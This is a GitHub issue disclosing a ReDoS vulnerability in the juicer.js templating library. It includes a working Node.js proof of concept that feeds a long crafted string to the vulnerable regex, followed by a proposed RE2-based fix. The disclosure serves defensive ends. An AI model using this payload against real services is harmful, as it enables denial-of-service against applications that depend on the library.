Juicer icon indicating copy to clipboard operation
Juicer copied to clipboard

ReDoS vulnerability in juicer.js

Open d1tto opened this issue 1 year ago • 0 comments

Description

ReDoS vulnerability is an algorithmic complexity vulnerability that usually appears in backtracking-kind regex engines, e.g. the javascript default regex engine. The attacker can construct malicious input to trigger the worst-case time complexity of the regex engine to make a denial-of-service attack.

In this project, here has used the ReDoS vulnerable regex '(?=[^%]*%>) that can be triggered by the below PoC:

const Juicer = require('juicer');
const fs = require('fs');

attackStr = '\'>'.repeat(38730*2)
fs.writeFileSync('template.html', attackStr);
const template = fs.readFileSync('template.html', 'utf8');

const data = {
  title: 'Hello, Juicer!',
  content: '这是一个使用 Juicer 的示例',
  items: [
    {name: 'item1', value: 'value1'},
    {name: 'item2', value: 'value2'},
    {name: 'item3', value: 'value3'}
  ]
};
const html = Juicer.compile(template).render(data);
console.log(html);

How to repair

The cause of this vulnerability is the use of the backtracking-kind regex engine. I recommend the author to use the RE2 regex engine developed by google, but it doesn't support lookaround and backreference extension features, so we need to change the original regex and add additional code constraints. Here is my repair solution:

function safeReplace(string) {
    const RE2 = require("re2")
    let re = new RE2("'", "g")

    // find all '
    let condidates = []
    while ((r = re.exec(string)) !== null) {
        condidates.push(r)
    }

    condidates.forEach(x => {
        let tail = string.substring(x.index + 1)
        console.log(tail)
        lookahead = new RE2("^[^%]*%>")
        if (lookahead.match(tail) !== null) {
            string = string.substring(0, x.index) + "\t" + string.substring(x.index + 1)
        }
    })
    return string
}

Using this code snippet to replace the code in line 465 .replace(/'(?=[^%]*%>)/g, "\t") can repair this vulnerability. I hope the author can adopt this repair solution and I would be very grateful. Thanks!

d1tto avatar Apr 19 '23 13:04 d1tto